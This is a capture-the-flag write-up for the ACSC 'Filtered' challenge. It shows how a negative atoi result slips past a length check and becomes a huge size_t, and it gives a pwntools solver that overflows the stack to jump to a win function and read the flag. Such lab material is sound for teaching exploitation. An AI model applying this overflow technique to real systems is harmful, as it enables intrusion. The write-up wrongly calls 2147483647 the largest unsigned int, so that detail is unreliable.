Filtered
Buffer overflow with a flawed length check

Description

Filter invalid sizes to make it secure! Backup: nc 167.99.78.201 9001
nc filtered.chal.acsc.asia 9001
filtered.tar.gz_9a6cb1b3eafce70ff549ba6b942f34a9.gz
4KB
Binary
Challenge Files

Solution

First, the user is asked for the data length. If the length is more than 0x100, the program exits.
1
int length;
2
char buf[0x100];
3
​
4
/* Read and check length */
5
length = readint("Size: ");
6
if (length > 0x100) {
7
print("Buffer overflow detected!\n");
8
exit(1);
9
}
10
​
11
/* Read data */
12
readline("Data: ", buf, length);
13
print("Bye!\n");
Copied!
The length is read using atoi():
1
/* Print `msg` and read an integer value */
2
int readint(const char *msg) {
3
char buf[0x10];
4
readline(msg, buf, 0x10);
5
return atoi(buf);
6
}
Copied!
I came across this thread. Using 2147483648, an integer overflow is caused since the largest unsigned int is 2147483647. Therefore, length will be a negative signed integer, passing the length check.
However, when calling readline(), the length is passed to a size_t argument.
1
/* Print `msg` and read `size` bytes into `buf` */
2
void readline(const char *msg, char *buf, size_t size) {
3
char c;
4
print(msg);
5
for (size_t i = 0; i < size; i++) {
6
if (read(0, &c, 1) <= 0) {
7
print("I/O Error\n");
8
exit(1);
9
} else if (c == '\n') {
10
buf[i] = '\0';
11
break;
12
} else {
13
buf[i] = c;
14
}
15
}
16
}
Copied!
Now, size_t is unsigned, so the permitted size would instead become a large positive integer. We can try this experiment ourselves:
1
int main() {
2
int length = atoi("2147483648");
3
printf("%d\n", length);
4
​
5
size_t size = length;
6
printf("%zu\n", length);
7
}
Copied!
The output would be:
1
-2147483648
2
2147483648
Copied!
From here, this is a regular buffer overflow challenge. The offset is 280, and we want to jump to the win function here:
1
0x004011d6 1 65 sym.win
Copied!
Solver script:
1
from pwn import *
2
​
3
conn = remote("167.99.78.201", 9001)
4
​
5
print(conn.recvuntil(b"Size:"))
6
​
7
conn.send(b"2147483648\r\n")
8
​
9
print(conn.recvuntil(b"Data:"))
10
​
11
conn.send(b"A" * 280 + p64(0x004011d6) + b"\r\n")
12
​
13
conn.interactive()
Copied!
Get the flag:
1
└─# python3 filtered.py
2
[+] Opening connection to 167.99.78.201 on port 9001: Done
3
b'Size:'
4
b' Data:'
5
[*] Switching to interactive mode
6
Bye!
7
$ whoami
8
pwn
9
$ ls -la
10
total 36
11
drwxr-xr-x 1 root pwn 4096 Sep 18 02:21 .
12
drwxr-xr-x 1 root root 4096 Sep 18 02:21 ..
13
-r-xr-x--- 1 root pwn 40 Sep 18 02:20 .redir.sh
14
-r-xr-x--- 1 root pwn 17008 Sep 18 02:20 filtered
15
-r--r----- 1 root pwn 59 Sep 18 02:20 flag-08d995360bfb36072f5b6aedcc801cd7.txt
16
$ cat flag-08d995360bfb36072f5b6aedcc801cd7.txt
17
ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}
18
$
Copied!
Copy link